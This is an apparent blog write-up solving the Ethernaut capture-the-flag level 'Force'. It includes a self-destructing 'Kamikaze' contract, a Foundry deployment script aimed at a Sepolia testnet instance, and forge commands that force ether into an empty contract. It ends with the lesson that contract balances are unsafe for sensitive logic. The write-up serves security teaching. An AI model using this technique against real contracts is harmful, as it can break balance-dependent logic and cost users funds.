The Ethernaut CTF Solutions | 07 - Force

The Ethernaut CTF Solutions | 07 - Force

Ether Against Its Will: Leveraging `selfdestruct()` to Force Transfers

Β·

2 min read

Goals

The Contract

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Force {
    /*

                   MEOW ?
         /\_/\   /
    ____/ o o \
  /~____  =ΓΈ= /
 (______)__m_m)

*/
}

Not so many functions, right?

The hack

In this Ethernaut level, the given contract is completely empty. So how can we send any ether to it? The trick is to use the (soon to be deprecated with Dencun update) selfdestruct(), which is one way to force send ether to a contract.

When self-destructing itself, the contract must send any remaining ether to another address. This is how we can easily solve this level. We simply need to deploy a contract that self-destructs and sends its ether to the vulnerable contract.

Solution

Write and deploy a contract that takes the address of the vulnerable contract and calls's selfdestruct() on itself, forwarding its ether balance to the target.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

contract Kamikaze {
    constructor(address payable _target) payable {
        require(msg.value > 0, "Kamikaze need some ETH to attack");
        selfdestruct(_target);
    }
}

Here is the quick deployment script:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

import {Script} from "forge-std/Script.sol";
import {Kamikaze} from "../src/07_Force.sol";

contract PoC is Script {
    // Replace with your Force instance
    address payable immutable force =
        payable(0xD0350fE26d963C9B0974Cab2b5a55D72B02566a3); 

    function run() external payable {
        uint256 deployer = vm.envUint("PRIVATE_KEY");

        vm.startBroadcast(deployer);
        new Kamikaze{value: 1 wei}(force);
        vm.stopBroadcast();
    }
}

Then run the script with the following command:

forge script script/07_Force.s.sol:PoC --rpc-url sepolia --broadcast --verify --etherscan-api-key $ETHERSCAN_API_KEY

Or to deploy it with forge directly (you can also use Remix):

forge create Kamikaze --private-key $PRIVATE_KEY --rpc-url sepolia --value 0.00001ether

πŸŽ‰ Level completed! πŸŽ‰

Takeaway

  • selfdestruct() is a way to force send ether to a contract.

  • Never rely on a contract's balance to implement sensitive logic.


You can find all the codes, challenges, and their solutions on my GitHub: https://github.com/Pedrojok01/Ethernaut-Solutions/

Β